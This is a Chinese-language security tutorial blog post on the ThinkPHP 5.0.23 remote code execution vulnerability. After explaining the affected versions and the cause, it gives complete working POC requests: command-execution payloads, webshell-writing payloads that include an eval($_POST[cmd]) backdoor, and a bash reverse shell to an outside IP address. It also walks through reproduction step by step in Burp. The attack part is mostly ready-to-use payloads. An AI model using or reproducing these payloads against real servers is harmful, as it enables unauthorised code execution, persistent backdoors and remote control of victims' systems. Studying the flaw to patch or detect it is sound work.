网络安全深入学习第二课——热门框架漏洞(RCE—Thinkphp5.0.23 代码执行)

文章目录


一、什么是框架?

简言之,别人帮你建好了房子但尚未装修,你需要在别人设计好的户型里去装修,省去你搬砖的重复性操作。


二、导致框架漏洞原因

框架存在环境缺陷,使用了不安全的版本从而导致的。


二、使用步骤三、ThinkPHP介绍

------ ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。

------ 从数据来看,thinkphp 3系列版本的漏洞多是2016/2017年被爆出,而ThinkPHP 5系列版本的漏洞基本为2017/2018年被爆出,从2020年开始,ThinkPHP 6系列的漏洞也开始被挖掘。

------ 根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。


四、Thinkphp框架特征

  • 报错会出现以下样式的

  • 网站icon存在下面图标的

五、Thinkphp5.0.23 远程代码执行

1、漏洞影响范围

版本是:

5.x < 5.1.31

Thinkphp 5.0.x<= 5.0.23

2、漏洞成因

------ 该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞


六、POC数据包

Windows下的

php 复制代码
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]= id 
  • POC参数解析
    • _method=__construct 为了能够进入construct,从而覆盖变量
    • filter[]=system 覆盖变量
    • method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
    • s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
    • get[]=id 覆盖变量

Linux下的

php 复制代码
_method=__construct&filter[]=system&method=get&get[]=pwd
  • GET请求的:
php 复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  • 写入shell
php 复制代码
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

七、漏洞手工复现

1、先Burp抓包,把抓到的请求包发送到重放模块

2、把数据包改成POST请求


3、按照POC构造请求包,然后重放

这里就使用pwd命令来查看路径

4、写入shell

php 复制代码
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > 1.php


这样子就写下来了。

5、反弹shell

POC(需进行url编码)

php 复制代码
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.188.177/9999+0>%261"

1)建立监听

2)发送POC请求包

3)返回监听端查看,发现shell已经反弹回来了


八、漏洞工具复现

1、工具


2、脚本


这里要注意,在windows操作时,要写入shell时,直接在cmd里面操作,控制台不会直接识别 < 、' 、" 等特殊符号,这时就需要使用 ^ 来进行转义。

例如下面这个写入shell是无法执行的:

这时使用 ^ 来进行转义就可以识别了


九、扩展-反弹shell

  • 什么是反弹shell(reverse shell)?

    就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell差不多对应,本质上是网络概念的客户端与服务端的角色反转。

  • 为什么需要反弹shell?

    反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。


相关推荐
free-elcmacom10 分钟前
机器学习高阶教程<6>推荐系统高阶修炼手册:混排、多任务与在线学习,解锁精准推荐新境界
人工智能·python·学习·算法·机器学习·机器人
崇山峻岭之间12 分钟前
Matlab学习记录06
前端·学习·matlab
小阿宁的猫猫13 分钟前
XSS的原理、使用、防御方法及练习题
web安全·网络攻击模型·xss·js
黑客思维者15 分钟前
机器学习008:监督学习【回归算法】(逻辑回归)--AI世界的“是非判断题大师”
人工智能·学习·机器学习·逻辑回归
山土成旧客20 分钟前
【Python学习打卡-Day24】从不可变元组到漫游文件系统:掌握数据结构与OS模块
数据结构·python·学习
小徐不会敲代码~24 分钟前
Vue3 学习 4
前端·vue.js·学习
MarkHD30 分钟前
智能体在车联网中的应用:第5天 车联网导论与体系认知:驶向智能出行的未来
学习
d111111111d34 分钟前
编码器测速详情解释:PID闭环控制
笔记·stm32·单片机·嵌入式硬件·学习·算法
我想我不够好。37 分钟前
电工学习 实操考点及打分项
学习
bluechips·zhao43 分钟前
中间件及框架漏洞详解(Nginx、Apache、Tomcat、Redis、Zookeeper、RabbitMQ、Kafka等)
nginx·web安全·网络安全·中间件·apache·网络攻击模型·java-rabbitmq